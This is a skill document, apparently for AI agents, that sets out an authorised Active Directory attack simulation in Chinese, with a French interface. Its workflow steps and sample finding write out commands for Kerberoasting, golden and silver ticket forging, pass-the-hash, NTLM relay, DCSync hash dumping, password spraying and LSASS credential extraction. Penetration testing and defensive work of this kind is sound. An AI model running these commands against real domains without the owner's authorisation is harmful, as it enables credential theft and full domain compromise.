L’interface est localisée ; les présentations et documents des Skills sont traduits automatiquement par IA dans votre langue. Le code, les commandes, chemins et termes techniques restent en version originale, et le document de l’auteur fait foi.
Explorer les Skills
Productivité · SKILL.md

executing-active-directory-attack-simulation

executing-active-directory-attack-simulation

对 Active Directory 环境执行授权攻击模拟,识别错误配置、弱凭据、危险特权路径以及可导致域沦陷的可利用信任关系。测试人员使用 BloodHound 进行攻击路径分析,使用 Mimikatz 进行凭据提取,使用 Impacket 进行协议级攻击,包括 Kerberoasting、AS-REP Roasting 和委派滥用。适用于 Active Directory 渗透测试、AD 攻击模拟、域沦陷测试或 Kerberos 攻击评估等请求场景。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentation de la Skill

GitHub

name: executing-active-directory-attack-simulation description: > 对 Active Directory 环境执行授权攻击模拟,识别错误配置、弱凭据、危险特权路径以及可导致域沦陷的可利用信任关系。测试人员使用 BloodHound 进行攻击路径分析,使用 Mimikatz 进行凭据提取,使用 Impacket 进行协议级攻击,包括 Kerberoasting、AS-REP Roasting 和委派滥用。适用于 Active Directory 渗透测试、AD 攻击模拟、域沦陷测试或 Kerberos 攻击评估等请求场景。 domain: cybersecurity subdomain: penetration-testing tags: [Active-Directory, BloodHound, Mimikatz, Kerberoasting, domain-compromise] version: 1.0.0 author: mahipal license: Apache-2.0

执行 Active Directory 攻击模拟

适用场景

  • 评估 Active Directory 域和林的安全性,对抗常见和高级攻击技术
  • 利用特权关系分析,识别从低权限域用户到域管理员(Domain Admin)的攻击路径
  • 验证 Kerberos 安全配置、凭据策略和委派设置能否抵御已知攻击
  • 测试 SOC 和 EDR 工具针对 Active Directory 特定 TTP 的检测能力
  • 评估分层管理模型和特权访问工作站(PAW)的有效性

不适用于:未获得域所有者明确书面授权的情况、在未获批准的业务高峰期对生产域控制器进行测试、或可能导致真实用户账户锁定的测试(须事先协调)。

前置条件

  • 书面授权,注明目标 AD 域、测试约束条件以及任何禁止测试的账户或系统
  • 低权限域用户账户(最低起点),用于模拟真实攻击者位置
  • 已加入域的测试工作站,或能访问域控制器端口 88、135、139、389、445、636、3268、3269 的网络
  • BloodHound 社区版或企业版,配合 SharpHound/AzureHound 采集器
  • 在攻击平台上安装 Impacket 工具包、Mimikatz(或 pypykatz)、Rubeus 和 CrackMapExec
  • Hashcat 或 John the Ripper,配备最新词表(rockyou.txt、SecLists),用于离线凭据破解

工作流程

步骤 1:Active Directory 侦察

从低权限域用户位置枚举 AD 环境:

  • 域枚举:使用 Get-ADDomain 或 crackmapexec smb <dc_ip> -u <user> -p <pass> --domains 识别域名、功能级别、域控制器和林信任关系
  • 用户枚举:使用 Get-ADUser -Filter * -Properties ServicePrincipalName,AdminCount,PasswordLastSet 识别服务账户、特权账户和过期密码
  • 组枚举:使用 net group "Domain Admins" /domain 映射高价值组(Domain Admins、Enterprise Admins、Schema Admins、Account Operators、Backup Operators)的成员关系
  • GPO 枚举:使用 Get-GPO -All | Get-GPOReport -ReportType XML 识别组策略配置,包括密码策略、审计设置和软件部署
  • 信任枚举:使用 nltest /domain_trusts /all_trusts 映射域间和林间信任关系,注意信任方向和传递性
  • LDAP 查询:使用 ldapsearch 或 ADExplorer 搜索带有 userAccountControl 标志的账户,这些标志表示"密码永不过期"、"不需要密码"或"仅 DES Kerberos"

步骤 2:BloodHound 攻击路径分析

收集并分析 AD 关系数据,识别到达域管理员的最短路径:

  • 运行 SharpHound 采集器:SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:\temp\,收集用户、组、会话、ACL、信任关系和 GPO 数据
  • 将 JSON 输出导入 BloodHound,运行内置查询:
    • "从已拥有主体到域管理员的最短路径"
    • "查找具有 DCSync 权限的主体"
    • "查找域用户为本地管理员的计算机"
    • "到无约束委派系统的最短路径"
    • "从可 Kerberoast 用户的所有路径"
  • 在 BloodHound 中将已控用户标记为"已拥有",分析产生的攻击路径
  • 识别基于 ACL 的攻击路径:对高价值对象的 GenericAll、GenericWrite、WriteDACL、WriteOwner、ForceChangePassword 权限
  • 记录每条已识别的攻击路径,包含关系链和受影响对象

步骤 3:Kerberos 攻击

对已识别的脆弱账户执行 Kerberos 攻击:

  • Kerberoasting:为带 SPN 的账户请求 TGS 票据:impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <dc_ip> -request -outputfile kerberoast.hashes。离线使用 hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt 破解
  • AS-REP Roasting:针对未启用 Kerberos 预身份验证的账户:impacket-GetNPUsers <domain>/ -dc-ip <dc_ip> -usersfile users.txt -format hashcat -outputfile asrep.hashes。使用 hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt 破解
  • 银票据(Silver Ticket):若服务账户的 NTLM 哈希被破解,使用 impacket-ticketer -nthash <hash> -domain-sid <sid> -domain <domain> -spn <service/host> <username> 为该服务伪造 TGS 票据
  • 黄金票据(Golden Ticket):若获取到 krbtgt 哈希(域沦陷后),伪造 TGT:mimikatz "kerberos::golden /user:Administrator /domain:<domain> /sid:<sid> /krbtgt:<hash> /ticket:golden.kirbi"
  • 无约束委派(Unconstrained Delegation)滥用:识别具有无约束委派的计算机,使用 PrinterBug 或 PetitPotam 强制域控制器认证,然后从内存中捕获域控制器的 TGT

步骤 4:凭据攻击与横向移动

利用收集到的凭据在域内横向移动:

  • 哈希传递(Pass-the-Hash):impacket-psexec <domain>/<user>@<target> -hashes <LM:NTLM>,在已控账户具有本地管理员权限的系统上执行命令
  • 票据传递(Pass-the-Ticket):export KRB5CCNAME=ticket.ccache && impacket-psexec <domain>/<user>@<target> -k -no-pass,使用捕获或伪造的 Kerberos 票据
  • NTLM 中继(NTLM Relay):配置 impacket-ntlmrelayx -t ldap://<dc_ip> --escalate-user <user>,强制认证以中继 NTLM 凭据进行权限提升
  • DCSync:若获取 DCSync 权限(复制目录更改权限):impacket-secretsdump <domain>/<user>:<pass>@<dc_ip> -just-dc-ntlm,转储所有域密码哈希
  • 密码喷洒(Password spraying):crackmapexec smb <dc_ip> -u users.txt -p 'Winter2025!' --no-bruteforce,对所有账户测试一个密码以避免锁定
  • LSASS 转储:在已控主机上,使用 mimikatz "sekurlsa::logonpasswords" 或 procdump -ma lsass.exe lsass.dmp 从 LSASS 内存中提取凭据,然后离线提取

步骤 5:提升至域管理员权限

串联已发现的攻击路径,从低权限用户提升至域管理员:

  • 按 BloodHound 识别的最短路径,执行每个关系节点(例如:对用户设置 GenericWrite 权限 -> 设置 SPN -> Kerberoast -> 破解密码 -> 用户是对 Domain Admins 具有 WriteDACL 权限的组成员 -> 授予自身成员资格)
  • 若发现组策略首选项(GPP)密码,则利用之:crackmapexec smb <dc_ip> -u <user> -p <pass> -M gpp_autologin
  • 若部署了 LAPS(本地管理员密码解决方案),则查询 LAPS 密码:Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd
  • 使用 Certipy 滥用证书服务(AD CS):certipy find -vulnerable -u <user>@<domain> -p <pass> -dc-ip <dc_ip>,查找可利用的证书模板(ESC1-ESC8)
  • 记录从初始用户到域管理员的完整攻击链,包含使用的所有凭据、工具和技术

核心概念

术语定义
Kerberoasting为具有服务主体名称(SPN)的账户请求 Kerberos TGS 票据,并离线破解以恢复服务账户明文密码
AS-REP Roasting为未启用预身份验证的账户请求 Kerberos AS-REP 响应,并离线破解加密时间戳
DCSync利用目录复制服务权限(DS-Replication-Get-Changes-All)从域控制器复制密码数据,模拟域控制器行为
BloodHound基于图的 Active Directory 分析工具,映射特权关系,识别从任意用户到高价值目标(如域管理员)的攻击路径
无约束委派(Unconstrained Delegation)Kerberos 委派配置,允许服务以任意用户身份访问任意其他服务,从而捕获连接用户的 TGT
哈希传递(Pass-the-Hash)直接使用 NTLM 哈希而非明文密码进行身份验证,利用 Windows NTLM 认证机制
AD CS 滥用利用错误配置的 Active Directory 证书服务模板请求证书,以获取提升的权限或冒充其他用户
NTLM 中继(NTLM Relay)将捕获的 NTLM 认证转发给不同服务,以受害者身份进行认证,在未强制 SMB 签名时有效

工具与系统

  • BloodHound:攻击路径分析工具,摄取 SharpHound 收集的 AD 数据,通过对象关系可视化并识别权限提升路径
  • Impacket:网络协议交互的 Python 工具包,支持 Kerberos 攻击(GetUserSPNs、GetNPUsers)、凭据转储(secretsdump)和远程执行(psexec、wmiexec)
  • Mimikatz:后渗透工具,用于从 Windows 内存(LSASS 进程)中提取明文凭据、NTLM 哈希和 Kerberos 票据
  • CrackMapExec:面向 Active Directory 环境的多协议攻击工具,支持 SMB、LDAP、WinRM 和 MSSQL,内置密码喷洒和枚举模块
  • Certipy:用于枚举和利用 Active Directory 证书服务(AD CS)错误配置的 Python 工具

常见场景

场景:针对医疗机构的域沦陷评估

场景背景:某医院网络拥有单个 Active Directory 林,包含 5,000 个用户账户、800 个计算机对象和分布在 3 个站点的 15 台域控制器。测试人员从单个低权限域用户账户开始,目标是确定拥有员工被盗凭据的攻击者是否能提升至域管理员。

方法:

  1. 运行 SharpHound 收集 AD 关系数据并导入 BloodHound
  2. BloodHound 揭示一条路径:已控用户 -> IT-Support 组成员 -> 对 SVC-SQL 账户具有 GenericAll 权限 -> SVC-SQL 具有 SPN -> Kerberoast -> SVC-SQL 是 DB-SERVER-01 的本地管理员 -> DB-SERVER-01 存在域管理员会话
  3. Kerberoast SVC-SQL,使用 hashcat 在 12 分钟内破解弱密码(Summer2023!)
  4. 使用 SVC-SQL 凭据通过 psexec 访问 DB-SERVER-01
  5. 从 DB-SERVER-01 的 LSASS 内存中提取域管理员凭据
  6. 执行 DCSync 转储所有域哈希,验证域沦陷
  7. 报告完整攻击链及修复建议:为服务账户设置 25 位以上字符密码、启用仅 AES 的 Kerberos 加密、移除不必要的本地管理员权限、实施分层管理

常见陷阱:

  • 在业务高峰期使用嘈杂的 SharpHound 收集方法,通过大量 LDAP 查询触发 SOC 告警
  • 未先检查域锁定策略就进行密码喷洒,导致数百个账户被锁定
  • 忽略 AD CS 漏洞测试,而这通常是到达域管理员最快的路径
  • 未检查可能仍缓存凭据或存在活跃会话的过期计算机账户

输出格式

## 发现:服务账户易受 Kerberoasting 攻击且使用弱密码

**ID**: AD-002
**严重性**: 严重(CVSS 9.1)
**受影响对象**: SVC-SQL@corp.example.com(服务账户)
**攻击技术**: MITRE ATT&CK T1558.003 - Kerberoasting

**描述**:
服务账户 SVC-SQL 在 Active Directory 中注册了服务主体名称(MSSQLSvc/db-server-01.corp.example.com:1433),
使用弱密码,hashcat 结合 rockyou.txt 词表在 12 分钟内破解成功。该账户在
DB-SERVER-01 上具有本地管理员权限,测试时该服务器存在活跃的域管理员会话。

**攻击链**:
1. 请求 TGS 票据: impacket-GetUserSPNs corp.example.com/testuser:password -request
2. 破解哈希: hashcat -m 13100 hash.txt rockyou.txt(12 分钟破解: Summer2023!)
3. 横向移动: impacket-psexec corp.example.com/SVC-SQL:Summer2023!@db-server-01
4. 凭据提取: mimikatz sekurlsa::logonpasswords -> 域管理员 NTLM 哈希

**影响**:
从单个低权限域用户账户实现完全域沦陷。攻击者可访问所有
5,000 个用户账户、800 个计算机对象以及域内所有数据。

**修复建议**:
1. 为 SVC-SQL 及所有服务账户设置 25 位以上随机生成密码
2. 迁移至组托管服务账户(gMSA),自动轮换 120 字符密码
3. 启用 AES256 Kerberos 加密,禁用 RC4(DES)加密
4. 从 DB-SERVER-01 本地管理员组中移除 SVC-SQL
5. 对特权账户实施 Protected Users 组,防止凭据缓存
6. 部署 Microsoft Defender for Identity,检测 Kerberoasting 和 DCSync 攻击
Skills enregistrées